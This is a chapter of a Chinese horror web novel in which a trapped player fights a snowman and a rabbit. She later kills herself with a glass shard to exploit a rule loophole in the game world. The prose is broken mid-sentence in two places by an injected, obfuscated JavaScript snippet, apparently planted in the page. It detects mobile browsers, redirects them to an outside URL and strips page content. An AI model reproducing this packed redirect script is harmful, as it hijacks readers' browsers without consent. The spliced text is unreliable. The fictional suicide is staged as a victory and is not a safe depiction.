只有尽快通关,赚取更多生存时长,才能在这座迷雾重重的城市里,赢得继续向下挖掘、触碰真相,乃至找到“回家”之路的资本。 时亦砜眨了眨干涩的眼球,抬起胳膊,深吸一口气,手指猛地扣进雪人脖颈处那圈“兔毛”的边缘。 “呲啦!” 撕裂声响起,短促、干脆,带着人造纤维特有的、缺乏韧性的脆响。 雪白的“皮毛”应声破开一道狰狞的口子,露出内里灰败、潮湿、如同腐烂棉絮般的一团脏雪。 时亦砜一边怀疑眼前这巨型兔皮的来历,一边在余光里敏锐地捕捉到,缩在她脚边的兔子妈妈有些颤抖,蓬松的绒毛被某种液体濡湿,一缕缕黏在皮肤上,仿佛刚刚经历过一场无声的恸哭。 像是因为时亦砜撕裂皮革的举动,感同身受而痛苦。 然而,即便恐惧至此,它非但没有逃离,反而瑟缩着,将颤抖的身体更加用力地贴向她的靴子。 时亦砜更觉得不对劲了。 她默不作声地瞥了脚边的兔子一眼,往旁边挪了挪,试图拉开距离。 她没养过兔子,但在她的常识里,受惊的动物,绝不该有如此违背本能的、近乎偏执的亲近。 可她错了。 那只湿漉漉的兔子仿佛感知到了她的意图,竟也同步地、如影随形地跟着蹦跳了一小步,柔软的身躯依旧紧紧贴着她的靴面,如同用最粘稠的胶水死死焊在了上面。 而随着“兔皮”被彻底扯开,一股温热、粘稠、令人作呕的水汽混杂着发霉与尘土的气息,扑面而来! 沉甸甸的、早已脏污板结的“兔毛”簌簌掉落,在地上积成一滩污秽的混合物,与泥巴、灰尘纠缠在一起。 就在这片污浊中,时亦砜捕捉到了一丝极其细微、却尖锐得无法忽略的气味。 那是什么东西被烧焦后,那种蛋白质变性特有的、混合着苦杏仁般的焦臭。 一人高的雪人彻底暴露在空气里,像一只被蛮力撬开外壳、已然死去的巨蚌,露出了内里黑漆漆、湿漉漉、仿佛正在缓慢腐败的“血肉”。某种无形的、令人窒息的寒意,正从那些黑色雪块中丝丝缕缕地渗透出来。 等等。 兔子妈妈,真的有能力堆出如此巨大、结构如此“标准”的雪人吗? 一个冰冷的问题,不合时宜地撞入时亦砜的脑海。 仿佛是为了印证她最坏的猜想—— 不仅脚下的兔子妈妈同步地、僵硬地转动着湿漉漉的脑袋,用那双玻璃珠般的红眼睛死死“望”着她; 前方,那具被剥开的雪人也同步地、发出令人牙酸的“嘎吱”声,缓缓抬起了它那颗由黑雪构成的、硕大而沉重的头颅。 一股更加浓郁、更加清晰的、混合着铁锈般血腥与内脏腐败气息的恶臭,正从雪人脖颈与躯干的连接处、那些漆黑粘腻、仿佛正在融化的雪块中,丝丝缕缕地渗透出来,弥漫在冰冷的空气里。 “做朋友的倒数第六天,兔子和雪人不能做朋友。” 闷闷的、仿佛从空洞胸腔里挤出的声音响起。随着话语,雪人张开它那黑漆漆、仿佛深不见底的口部,开始“咳”出一片又一片苍白却迅速黯淡的雪花。 紧接着,粘稠的、如同稀释后腐血般的黑色水流,毫无征兆地从它口中滴落、涌出,“啪嗒、啪嗒”地砸在它自己洁白的躯体上。那黑色液体所到之处,雪白的身体如同被强酸腐蚀,迅速融化、塌陷,露出底下更深的、仿佛污泥般的黑色内核。 “滴答,滴答——” “旧年的雪花,可以在烟花里变成水汽,在天空上,在雨水间活很久很久。” ……突然开始演苦情戏是想整哪一出? 时亦砜心头警铃大作,在那些诡异的“血水”即将溅到自己身上的前一刻,她眼疾手快,一把抄起了桌上那只沉重的红色旧钟表,当作盾牌挡在身前! “砰!” 沉闷的撞击感传来,伴随着意料之外的沉重。 时亦砜被那金属钟表传来的力道震得手臂一沉,脚下控制不住地后退了半步。 不对劲。 哪里都不对劲! 时亦砜怔愣地低头,看向自己握住钟表、因用力而微微发白的手指。 掌心传来的,不仅是金属的冰冷,还有一种……力不从心的虚浮感。 她的力气……什么时候变小了? 就在她愕然的瞬间,手中那只红色旧钟表仿佛被注入了狂暴的生命,三根早已锈蚀的指针,毫无征兆地开始疯狂旋转。 “滴答……滴答……滴答答答答——” 那不是正常的顺序,而是以一种癫狂的、违背常理的速度,逆向飞旋。 时亦砜眼睁睁看着表盘上的数字被指针粗暴地扫过——从十一时四十分,一路倒转、倒退、逆流回—— 十一点整。 这个表的指针……是倒着走的! 雪人那边,那粘稠而悲伤的“诀别”,仍在继续,声音仿佛混合了融雪的淅沥与某种更深沉的哀鸣: “但旧年的兔子,不一样。” 它的两枚纽扣眼睛似乎穿透了时亦砜,看向某个虚无的终点,声音陡然变得尖锐而绝望: “黎明到来后,兔子会死新年在的手里……在它自己的血里停止呼吸。” 一直蜷缩在时亦砜脚边、瑟瑟发抖的“兔子妈妈”,突然停止了所有动作。 在时亦砜的余光里,一只猩红的、玻璃珠般的兔子眼睛,极其缓慢地转动,精准地对上了她的视线,带着一丝人性化的、近乎慈悲的表情看向她。 “我们只能这么办。所以——” “滴滴!” 时间仿佛被一只无形的手粗暴地拽慢、拉长,将她的意识揉成一团,丢进粘稠的泥沼。 是水滴声,还是手中旧钟表重新转动的声音,时亦砜已经分不清了。 “所以,所以请你帮帮我们吧。” 话音未落,兔子瞬间以炮弹般的速度,暴起到不可思议的高度,直扑时亦砜面门,试图顶开时亦砜的手中用来防御的钟表—— 时亦砜心下一凛,将全身力量灌注于右腿,一记凶狠的侧踹精准命中兔子柔软的腹部! 不帮。 时亦砜站稳身形,灰蒙蒙色的眼瞳里没有丝毫动摇。 她没那么烂好心,去帮两个明显不对劲的“怪物”做选择。 “请……请帮帮我们吧……” 兔子在地上挣扎着,声音扭曲,“只是帮我们找到……可以永远在一起的办法……” 与此同时,另一边。 雪人一点点拉起被撕下的人造皮革,将那皮毛笨拙而仔细地裹在自己正在融化的身躯上,试图将自己装扮成一只巨大、肮脏、形态扭曲的“兔子”。 “帮我们选选……” 雪人用那闷闷的、混杂着融雪声的语调开口。 “是把它……变成我的样子……” 话音未落,那只刚刚爬起的“兔子妈妈”,已然纵身一跃,跳到了雪人的身边。它身上那些尚未干涸的、来自雪人“腐血”的水渍,在冰冷的空气中,以肉眼可见的速度开始凝结、变硬。 “沙沙……咔……” 一层透明、坚硬、散发着刺骨寒气的冰壳,从兔子被水浸湿的腿部开始蔓延,迅速爬升,将它原本蓬松的皮毛黏连、冻结成一簇簇僵硬的冰棱。 仿佛一句自暴自弃的、在向时亦砜诉说的宣告: 它要变成雪人了。 “……还是把我,变成它的样子?” 雪人和兔子,异口同声地,完成了这句令人骨髓发寒的提问。 时亦砜瞳孔骤缩。 她毫不迟疑,“唰”地一声掏出那枚冰冷的宿舍钥匙,看准靴子上刚刚被兔子蹭过、颜色已然开始发暗的那一处,用尽全力狠狠割下! “刺啦!” 皮革被割裂的刺耳声响中,她利落地将那一整块被污染的面料从靴子上剥离。 就在她指尖触碰到那块脱落面料的刹那—— 一股阴冷、粘腻、仿佛能冻结灵魂的寒意,如同有生命的毒蛇,瞬间从皮革中钻出,沿着她的指尖疯狂蔓延向掌心。 “咚!” 她几乎是本能地、触电般将那团东西甩脱出去! 那团肮脏的皮革翻滚着落在地板上,接触地面的瞬间,一层厚重、灰白、冒着森然寒气的坚冰,便如同活物般将它彻底包裹、吞噬,冻成了一块冰坨。 “帮……帮我们选——选——选——” 重复而机械的提问,如同催命的咒文,再次响起。 与此同时,兔子脖颈处那条原本洁白整洁的围巾,开始无法抑制地渗出与雪人一模一样的、腥臭粘稠的黑色流质。 那黑色流质如同没有温度、却足以吞噬一切的寂静火焰,所过之处,纯白围巾被迅速染成肮脏的灰黑。它顺着围巾流淌,滴落在兔子正被冰壳覆盖的皮毛上。 “滋……” 一种仿佛冷水滴入滚油、却又更加诡异的无声侵蚀发生了。冰与黑色流质接触的地方,皮毛急速枯萎、碳化,变得如同烧焦的灰烬。 两个怪物,正在以不同的方式,向着彼此——或者说,向着某种更可怖的“同一”——畸形地融合、蜕变。 而时亦砜,被逼到了抉择的边缘。 她终于理解了这次的规则。 黑色的血有腐蚀作用,冰会导致触碰到的物体变成冰块。 两者皆不可触碰。 她眼角的余光瞥见角落里那把孤零零的木椅,毫不犹豫,抬脚猛踹! “哐当!” 沉重的椅子呼啸着撞向雪人,后者笨拙地试图闪躲,却一个趔趄,差点失去平衡。雪人发出一声沉闷的、饱含恼怒的低吼,暂时放弃了“融合仪式”,转身便朝着时亦砜扑来! “我想,我已经完成委托了。” 时亦砜边快速移动,边喘息着,声音却清晰冷静,手指直指面前那两个仍在畸变的怪物。 “委托人想要的‘见面’,已经发生了。它们俩,不是正‘在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时亦砜看向窗外,那是无尽的、遥远而刺目的雪原。 冬天这么冷,小猫也该跟她回老家了。 “好朋友!拦住她——!!” 身后,雪人沉闷的嘶吼与兔子疯狂蹦跳、砸在地板上的 “咚!咚!咚!” 声,如同催命的战鼓。 面对这两个移动的“生化危机源头”,时亦砜此刻不能正面交锋。她只能利用狭小木屋的有限空间,找准各种刁钻的进攻角度,引着重新扑来的兔子和雪人不断绕圈。 风干的蘑菇串成了她临时的手雷。她看准时机,将一串串冻得梆硬的蘑菇狠狠掷向追逐者最脆弱的眼部区域! 趁着它们被突如其来的袭击打得动作一滞、甚至相互绊倒的瞬间,时亦砜猛然发力,将那张沉重的木桌推向它们! 在兔子来得及再次蹦起之前,她咬着牙,利用桌子和自身的压迫,艰难地将这两个危险的怪物一点点逼向壁炉旁的角落。 暂时争取到喘息之机,时亦砜一边跑向木屋的门口,指尖在脉搏处敲了三下,打开了居民面板。 目前并不清楚副本如何判断居民任务已经完成,时亦砜刚刚试探地说出了自己的判断,证明任务已经完成,但并没有触发系统提示。 那么,委托任务应该是需要写在居民面板里提交了。 耳边隐约传来木桌被极寒冻裂的“咔嚓”脆响,混合着冰渣的木屑簌簌落下。时亦砜无暇他顾,一手小心地压住冰凉的门把手,另一手在光幕上快速操作,终于从一个极其隐蔽的次级菜单角落,找到了那个呈现为灰色的“提交”按钮。 点击。 “系统提示:委托任务未完成,无法提交本次副本故事。” 一行冰冷、毫无感情的红色文字,突兀地弹现在光幕中央。 一股难以言喻的、如同冷水浇头般的灰暗情绪,骤然淹没了她刚刚升起的、能够脱离这个诡异之地的期待。 未完成。 为什么? 明明已经识破了对方的身份,看穿了这是一场自导自演、意图绑架她这个“侦探”的险恶戏剧。 明明眼前这一对,就是最符合“小兔子”与“雪孩子”描述的怪物。 为什么……不让她离开? 时亦砜迅速退回居民面板主页,指尖点向那个一直在左上角不断闪烁、带着刺眼红色喇叭图标的按钮。 “滋……时城应急广播,诚挚为您服务。” 一个温和却毫无起伏的电子音响起,“检测到您正在《第六日》副本进程中。请问,遇到了什么问题?” “广播员,这里是《第六日》副本。” 时亦砜的声音冷静,语速略快,“副本判定任务完成的机制,是否存在异常?” “滋……正在检测……滋……” 短暂的电流杂音后,那个温和的声音再度响起,音调里却掺进了一丝在此刻死寂木屋中显得格外刺耳的、程式化的愉悦: “副本进行中,未检测到任何机制异常。” “下面是来自广播员的‘特别提醒’:” 那声音顿了顿,仿佛在酝酿一个恶意的玩笑, “时城应急广播提醒您,您当前的剩余生存时长为——” “十小时。” 一个短暂的、令人心悸的停顿。 如果仅仅是副本没有结束,时亦砜或许还能用“机制出了BUG”这样拙劣的借口安慰自己。 可是…… 她的生存时长,也没有增加。 不仅如此,它正以一种远超正常速度、近乎贪婪的消耗速率,从她的生命倒计时中飞速流逝! “滴答。” 一声清晰的、仿佛来自她骨髓深处的轻响。 时亦砜冰凉的手指无意识地收紧。她低下头,看向不知何时被自己紧紧攥在手中的——那只红色的旧时钟。 表盘上,三根锈蚀的指针,正以一种匀速却令人心慌的节奏,“咔、嗒、咔、嗒”地转动着。 而表盘上的数字,不知何时,已赫然指向了—— 十。 5. 第六日 雪孩子三 不知从何时起,在这片仿佛已被时间遗忘、恒久静止的雪原,重新开始飘雪。 雪花从天幕低垂的灰蒙中无声洒落,从矮屋破败的屋檐上簌簌滑下,然后,无一例外地、带着某种目的性般,精准地飘向时亦砜。 它们落在她的肩头,嵌入她的脊背,并非简单地堆积,而是以一种违背物理规律的、粘腻的渗透性,浸入衣物纤维,钻过棉花孔隙,直抵皮肤。 “咔嚓……咔嚓……” 一种轻薄透明、却异常坚韧的冰壳,如同拥有生命的真菌,从她被雪花浸湿的衣物表面,乃至皮肤之下,迅速“生长”出来。它们覆盖臂膀,攀上脖颈,最终在喉间凝结成一圈冰冷而沉重的枷锁。 她居然觉得有些冷。 一种深入骨髓、仿佛连思维都能冻结的寒意,取代了所有感官。 时亦砜僵硬的、同样结起冰壳的手臂上,正抱着那个红色的、象征着她生命时长的钟表。 掌心被钟表锈蚀锋利的边缘硌得生疼,但这疼痛却遥远而模糊,像是隔着一层厚玻璃传来的撞击声。 她的思维仿佛也结了冰,运转艰涩。但就在这片冰封的混沌中,一条曾被忽略的、看似遥远的线索,如同沉入冰海的铁链,被某种力量猛地拽起,链环互相撞击,发出刺耳的、启示般的“哐啷”巨响。 生存时长……代表的,仅仅只是一个“时间”的数字吗? “生存”二字,在这座诡异的围城里,难道真的只配用“寿命长短”这种浅薄的维度来衡量吗? 虚弱感像一株看似柔弱的莬丝花,一点点从骨节处蔓延上来,悄然萌发,蜿蜒向上,以她的“生机”为唯一养料,进行着无声而彻底的掠夺。 副本进行到这里,时亦砜也终于有机会确信,生存时长的意义,恐怕不是一个正常的、能由宇宙规律所操控的自然流逝。 它是“存在”本身于此地被量化、被标价、被可视化的形态。 “广播员,你似乎一直不能告诉我一些……很基础的副本规则。” 时亦砜扯了扯被冰壳粘住的嘴角,一股铁锈味的温热液体涌上喉头。 “那我不问规则。我只问一个——” “判断题。” “《现代汉语词典》里,‘生存’释义为:维持生命系统的存在与延续。” “你们定义的‘生存时长’,自然包含了‘存在’与‘延续’双重含义。” “而在这座围城里,每一次‘延续’的尝试,每一次心跳、呼吸、思考、移动……都在挤占‘存在’本身,居民要为自己的每一次选择,甚至大脑中的一个念头,支付等额甚至高昂的时间代价,加速生存时长的损耗。” “——我说得对吗?” 沉默。 只有风雪掠过耳膜的嘶鸣。 然后,那个甜腻得令人作呕的广播音,终于不再兜圈子,给出了一个冰冷、简洁、近乎残酷的确认: “……是的。” 刺骨的冰冷,正从脚下一丝丝一丝丝、却又无比坚定地渗上来。 那触感,粘腻、湿滑,带着某种活物般的、贪婪的侵蚀性——与身后小木屋里,那即将破门而出、由纯粹冰雪构成的怪物所散发的死亡寒气,竟如出一辙。 她起初有些困惑,如同隔着一层毛玻璃观看自己的处境。 但下一个瞬间—— 犹如一道裹挟着绝对零度的思维闪电,劈开了所有混沌。 一个冰冷、锐利、带着绝对真相锋芒的念头,狠狠凿进她的意识深处: 是了。 雪人是雪做的。 而这里——目之所及,是雪;呼吸所及,是雪;脚下立足之地,乃至构成这整个世界的基础粒子——全都是雪。 无边无际,无所不在的雪。 每一片轻盈落下的雪花,都可能是悄无声息勒紧她脖颈的绞索;每一处看似平整的雪原,都潜伏着将她彻底吞噬、化为同类养料的冰冷寒风。 或许,从她踏入这个副本、呼吸到第一口凛冽空气的那一刻起。 她生命的沙漏,就已经被那根疯癫、逆行、象征着此地最高法则的指针,无情地、且持续加速地,拨向了那个早已标定的、名为“终末”的深渊。 “砰——!” 身后那扇单薄的木门,被一股夹杂着冰碴与腐朽木屑的暴力,猛地向内撞开! 朽木发出不堪重负的呻吟,铰链在刺耳的金属扭曲声中彻底崩断。 时亦砜听到了。 那急促的、如同垂死心脏最后搏动般的“咚咚”敲击声,是兔子在木地板上疯狂蹬踏的声音。 她更清晰地听到,雪人身上那厚重积雪“簌簌”脱落、又在某种力量下迅速融化成水的、粘稠而汩汩的声响——那声音几乎贴着她的耳廓响起,冰冷的吐息夹杂着细微冰晶,已喷溅上她的后颈皮肤。 寒冷,从脚底向上蔓延,冻结骨髓。 声响,从背后向前迫近,灌满耳道。 死亡的怀抱,已从身后洞开的黑暗门扉中,伸出了它由寒冰与寂静凝结而成的手臂。 是两只“怪物”——一只源于童话的悲怆,一只源于规则的扭曲——正要将她拖向一个冰冷而注定的结局。 就在这绝命时刻,余光瞥见雪人那异常粗壮、几乎不成比例的矮胖手臂,一个念头如冰锥般刺穿时亦砜的思考: 雪人,到底为什么能长这么高? 它曾口口声声说着“会一直活下去”。但雪人所调的“死而复生”,其宿命或许从来只是以另一种形态——水汽、云朵、甚至雨水,在世间轮回,而非以“雪孩子”这个具体的、承载记忆与情感的身份永恒存续。 组成它的每一片雪花,都可能在无穷时间的淘洗与演化中,彻底离散,再也无法拼凑出“此刻”的它。 所以,这雪人才会在预感到自身“存在”即将终结时,将自己疯狂堆砌、填充成如此巨大而笨拙的模样——仿佛只要体积足够庞大,就能对抗那无形的时间消磨,就能延缓那最终“融化”或“离散”的命运。 一个更惊悚的联想骤然炸开: 居民有“生存时长”,那这些如同规则化身的NPC呢?它们是否……也有某种形式的“存在时限”? 她的“生存时长”正在飞速流逝……是否正被眼前这头贪婪的雪怪,以某种方式,正在“抢夺”、“吞噬”? “还剩……一小时。” 一个声音响起。那不是广播,不是人言,而是无数雪花彼此挤压、摩擦时产生的、诡谲而清晰的窸窣低语,直接钻入她的耳中。 雪人用它那冰晶凝结的“手”,缓慢地、仪式般地擦过自己不断融塌的嘴角。它正在清晰无比地感知着,源于自己体内的那些寒冷刺骨的“冰块”,如何一点点侵蚀、冻结、最终“吞噬”掉眼前这位居民所剩无几的、名为“时间”的生命热度。 “其实……你蛮倒霉的。” 那声音很轻,仿佛近在耳畔的叹息,又似远在云端的判词。 “怪不得,连她都叫你‘倒霉蛋’。” 时亦砜听到了。 “怪不得她看到‘结局’的时候,会攥着我的领子往死里揍,差点把我这半条‘命’都给打没呢。” 广播员的声音里混杂着一丝后怕与某种奇异的、近乎欣赏的感慨。 随即,话锋转向了冰冷的事实: “你什么都不懂。积分被异能清空,第一天踏入时城就被拖进副本,连最基础的规则都没人教你……全靠自己,在黑暗里摸索。” 广播员扼腕叹息,那叹息里却听不出多少真切的同情,更像是在陈述一个早已写好的、令人遗憾的剧本。 “按照正常的流程,一个能通关的玩家,应该能有机会从系统商城里买到御寒道具,苟苟命,才能挨过这个副本的。” “其实,你的反应已经够快了。” 广播员顿了顿,声音里的那丝奇异感慨更浓了。 “可你是第一个踏入‘第六日’的玩家。按照时城的‘规矩’……你注定要留在这里。” “你要给后来者,摸清‘死亡规则’的边界。” 所以,副本任务对她缄默。所以,积分被清空。所以,那条唯一可能通过居民道具换来的生路,被悄然斩断。 这本来就是时城的规矩。 留给她的,从一开始,就是一个精心设计的死局。 时亦砜却没注意到这一点。 她听到——有人关心她。 时亦砜眨了眨眼。这个认知,比刺骨的寒冷更让她感到一丝陌生的、近乎别扭的奇怪。 身体正被一层层看不见的冰壳包裹、凝固。在飞速流逝的生存时长里,连眨眼这个简单的动作,都变得迟缓而费力。 “是……林老板,也进副本了吗?” 她下意识地问。在这个世界上,排除那些将她如同弃物般丢开的“家人”,有可能、有理由关心她的,似乎只剩下那位从不嫌弃她这个“奇怪同学”的店老板了。 “不是哦。” 广播员很快否定了,声音里带上了一丝难以捉摸的、近乎狡黠的轻柔。 “她告诉我,如果你问起她的名字……” 短暂的停顿,仿佛在给予这个名字应有的重量。 “她说,她叫——” “第四日。” 第四日。 时亦砜扯了扯嘴角。或许是因为死亡倒计时的迫近,她的眼睛在雪光映照下,亮得惊人。 “那她称呼我……‘第六日’吗?” 这个以副本命名代号的方式,对方似乎不打算给出更多解释。 仿佛笃定了,即便没有额外线索,时亦砜也能自己拼凑出答案。 是……进入过“第四日”副本的玩家?可一个普通玩家,怎会认识身处不同“世界线”的她? 广播员沉默了。 那沉默,像是一种无言的规则限制,也像是一种冰冷的默认。 ““但其实……走到这里,也可以了。” 良久,广播员再次开口,声音里刻意掺入一丝生硬的、程式化的“安慰”,仿佛在处理一个即将报废的残次品。 “有什么……未了的心愿吗?可以交给我。” 像某种简陋的临终关怀,在时亦砜那即将归零的生存时长面前,显得廉价而讽刺。 “不可以。” 一声微弱却异常清晰的否定,从时亦砜几乎冻僵的喉咙里,硬生生挤了出来。 广播员似乎没听清,或是无法理解。 “……什么?” 颤抖而虚弱的生命走向终末之际,灰色眸子的青年缓缓地、极其用力地,扬起了一个笑容。 她的瞳孔深处,倒映着漫天飘洒的、刺目的雪光。 那本是即将把生命永恒封存的雪花,此刻却仿佛洗去了长期蒙在她灰色眼眸里的、那层浅淡而涣散的雾霭。 如同有什么东西,在濒死的冰壳下,彻底燃烧了起来。 “不可以。” 她重复道,声音依旧不大,却如同淬火的钢铁,斩钉截铁。 走到这里,不可以。 就算无数证据、乃至所谓的“规则”与“宿命”都在告诉她,她注定要在这场永不停歇的大雪中,走向一个让人扼腕叹息的结局—— 她也绝对、绝对、不允许自己,停在这里。 绝对! 在广播员因惊愕而忘记发声的停顿里,在察觉到异样、即将反扑的“兔子”怔愣的注视下—— “锵!” 时亦砜用尽最后一丝能调动的力量,举起了一块早就藏在袖中、边缘被磨得异常锋利的玻璃碎片。 她僵硬的手臂,爆发出超乎想象的最后决绝,将那片寒光,狠狠刺向了自己的脖颈。 冰壳破碎时,声音很轻。 像某种精致却脆弱的瓷器,在极致的寒冷中悄然开裂。然后是温热的、粘稠的液体涌出——人类的血液,在零下二十度的空气中迅速蒸腾起白雾,又在下一秒被冻成暗红色的冰晶。 时亦砜感觉到自己的体温正迅速流失。 但她没有倒下。 血液顺着脖颈的伤口蜿蜒而下,浸透了包裹着她身体的坚冰。那些冰层原本是透明的、死寂的,此刻却被染成了奇异的红——不是鲜红,而是更深的、近乎褐色的红,像干涸已久的铁锈,又像某种古老的仪式留下的印记。 血液顺着冰的纹路攀爬,勾勒出复杂而扭曲的图案,最终在她头顶凝聚、冻结。 如同一顶沉默的冠冕。 “我没记错的话,”她的声音变得很轻,轻得像雪花落地,“‘霉运转移术’——是能把一件倒霉事,转换成另一件倒霉事。” 每说一个字,都有更多的血从嘴角溢出,迅速冻结成细小的红色冰棱。 “而我现在,”她顿了顿,吸了一口气——这个动作让她脖颈处的伤口涌出更多温热的液体,“还剩一次使用次数。” “……” 广播员沉默了。 长久的沉默。 在这片只有风声和血液冻结时发出“咔嚓”声的寂静里,时亦砜能感觉到自己的意识正在逐渐模糊。寒冷不再仅仅是体表的感受,它正从内而外地侵蚀她——从骨髓开始,一点点冻结她的神经、她的思考、她残存的体温。 但她不能倒下。 绝对不能。 “……是的,时亦砜女士。” 终于,广播员的声音再次响起。那声音里没有了之前的轻佻,没有了程式化的“安慰”,只剩下一种近乎机械的、被规则束缚着的确认。 “您确实还拥有一次‘霉运转移术’的使用权限。” “好的。”时亦砜说。 她试着抬起手臂——这个动作异常艰难,关节处的冰层在“嘎吱”作响,仿佛随时会连同她的骨头一起碎裂。但她还是成功了。 她的手指触碰到脖颈处的伤口。 指尖传来的触感很奇怪——一半是温热的、仍在流淌的血液,一半是已经冻结成冰的血块。那种感觉像是同时触摸着生命与死亡。 “时间围城告诉我,”她的语速很慢,每一个字都像是在冰面上小心行走,“生存时长——是这座城里,最宝贵的东西。” “那么,”她抬起头,看向天空。 天空是铅灰色的,厚重到几乎要压下来的云层遮蔽了一切光。只有雪花,无穷无尽的雪花,从云层深处落下,安静地、永恒地落向这片被冰封的大地。 “时间围城会放任一份宝贵的生存时长,”她问,“在自己眼皮子底下,彻底消失吗?” “……” 又是一阵沉默。 这一次,广播员的沉默里似乎多了一些别的东西——某种计算,某种评估,某种被触碰到核心规则时的警觉。 时亦砜没有等它回答。 她也不需要它回答。 “生存时长是居民最宝贵的财富,”她继续说,声音越来越轻,但每个字都清晰得像刀刻在冰上,“那么,如果我现在选择——自行结束这一切。” “你,”她顿了顿,感受着血液流失带来的眩晕,“也不能擅自将我的生存时长,归零,对吧?” 这句话说出口的瞬间,四周的空气似乎凝固了一瞬。 风声停了。 雪花的飘落轨迹变得异常清晰——每一片雪花都在空中缓慢旋转,划出完美的抛物线,最终落在她已经冻结的血液上,悄然融化,又迅速重新冻结。 “……是的。” 广播员的声音终于响起。 那声音里带着一种极致的、被规则逼迫到角落的僵硬。 “根据《时间围城基础守则》第7条第3款:居民的生存时长归零,必须满足以下条件之一:一、自然流逝至零;二、因违反规则被系统扣除至零;三、在副本中因物理性死亡导致生命体征彻底消失。” “而‘自杀’,”广播员顿了顿,“属于‘物理性死亡’的范畴。” “但,”它补充道,“在生命体征消失后,若生存时长仍未耗尽,居民将以‘延续态’存在,直至时长归零。” 时亦砜笑了。 那是一个真正的、发自内心的笑容——尽管因为血液冻结和肌肉僵硬,那个笑容看起来异常扭曲,异常骇人。 但她不在乎。 “也就是说,”她一字一顿地说,“如果我选择现在,结束我自己的生命——” “我的‘身份’会在这个副本里死亡。” “但我,”她的眼睛在雪光下亮得惊人,“还能以另一种方式‘延续’,对吗?” “……” 这一次,广播员沉默了整整十秒钟。 十秒钟里,时亦砜能感觉到自己的心跳越来越慢。血液流失带来的不仅仅是寒冷,还有一种奇异的、逐渐脱离身体的漂浮感。 但她死死咬住牙关——或者说,努力维持着意识的清醒。 她必须听到答案。 “是的。” 广播员终于说。 那声音里第一次出现了某种近乎“情绪”的东西——不是愤怒,不是惊讶,而是一种……被将了一军的、棋逢对手的复杂。 “如果您在生存时长未耗尽时选择物理性死亡,您将进入‘延续态’。在该状态下,您无法以原有形态行动,但您的意识将继续存在,直至剩余时长归零。” “好的。” 时亦砜说。 她终于明白了。 时间围城从一开始就在玩文字游戏。 它告诉她“生存时长只会自然流逝”,告诉她“不会因为维持生命而额外消耗”——但它没说,当“生存”本身成为一种消耗时,她可以选择停止“生存”。 她可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955401|193113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择死亡。 然后用死亡,来换取另一种形态的“延续”。 用停止消耗,来换取继续存在。 这很荒谬。 这很疯狂。 但这,也是此刻,她唯一的生路。 至于如何躲避雪人的追击。 时亦砜缓缓闭上了眼睛。 很简单。 她在意识深处,触发了那个异能。 那个她一直保留着的、最不像底牌的底牌。 “调用异能,”她说,声音轻得像叹息,“霉运转移术。” “滋滋——” 刺耳的电流声瞬间炸响。 那不是从外部传来的声音——那声音直接在她的大脑深处响起,像无数根钢针同时刺入颅骨,搅动着她的意识,撕裂着她的思维。 “不合规行为……滋滋……检测到居民试图在‘濒死状态’下调用异能……规则冲突……滋滋……” 广播员的声音变得断断续续,夹杂着尖锐的电子杂音。 时亦砜能感觉到,整个“时间围城”的系统正在因为她这一举动而陷入混乱。 一个选择自杀的居民。 一个在自杀的同时调用异能的居民。 一个在自杀、调用异能的同时,还拥有未耗尽生存时长的居民。 这触及了太多规则的边界,太多逻辑的死角。 系统在挣扎。 在计算。 在试图找到一个能够“自洽”的解决方案。 “叮咚。” 第一个提示音响起。 冰冷、机械,不带任何感情。 “居民时亦砜,确认死亡。生命体征消失。即将脱离副本。” “叮咚。” 第二个提示音几乎紧随其后。 “生存时长未耗尽,当前剩余:1小时07分钟。不符合脱离条件。无法脱离副本。” 然后—— 是漫长的、死一般的寂静。 时亦砜感觉到自己的意识正在脱离身体。 那是一种奇异的体验——她还能“感觉”到自己脖颈处的伤口,还能“感觉”到血液在冻结,还能“感觉”到寒冷一寸寸侵蚀着她残存的感知。 但她知道,那只是残留的神经信号。 她的身体,已经死了。 心脏停止跳动。 血液停止流动。 呼吸停止。 所有生命的迹象,都在迅速消失。 可她的意识还在。 而且异常清晰。 清晰到她能“看到”自己正躺在一片血泊中,看到雪花一片片落在她的脸上、身上,看到那些雪花在触碰到她温热的血液时迅速融化,又在下一秒重新冻结,将她一点点包裹进一个红白相间的冰棺里。 清晰到她能“听到”广播员沉重的呼吸声——如果AI也有呼吸的话。 清晰到她能“感觉到”,整个时间围城的底层规则,正在因为她这个小小的、疯狂的举动,而剧烈震颤。 “任务……继续。” 终于,广播员的声音再次响起。 那声音里充满了疲惫——一种被逼到绝境、不得不做出妥协的疲惫。 “启动‘延续’程序。” “居民时亦砜,确认调用异能:霉运转移术。” “正在评估当前霉运事件……” “评估完成。” “当前霉运事件:被一只变异雪人及一只变异兔子追捕,且处于濒死状态。” “正在搜索可置换霉运事件……” “搜索完成。” “霉运事件转移成功——” 广播员顿了顿。 那个停顿长得令人心焦。 时亦砜感觉到自己的意识正在逐渐模糊——不是消失,而是变得……轻盈。像一片羽毛,即将脱离重力,飘向某个未知的深处。 “——被扔到世界上最脏的地窖。” 广播员说。 话音落下的瞬间—— 时亦砜的世界,彻底翻转。 腐烂的气息。 那是时亦砜“醒来”时,第一个感知到的东西。 浓烈的、粘稠的、仿佛沉淀了几个世纪的腐烂气息——混合着泥土的腥味、烂白菜的酸臭味、某种动物粪便的恶臭,以及一种更深的、难以形容的、像是无数有机物在潮湿中缓慢分解的腐败味道。 那味道如此强烈,以至于她甚至“感觉”不到自己还有没有嗅觉器官。 她试图睁开眼睛。 然后意识到——她没有眼睛了。 或者说,她没有了人类的眼睛。 她的“视野”是一种奇异的、三百六十度的全景感知。没有焦点,没有盲区,却能清晰地“看到”周围的一切——以一种非视觉的方式。 她“看”到自己正躺在一个地窖里。 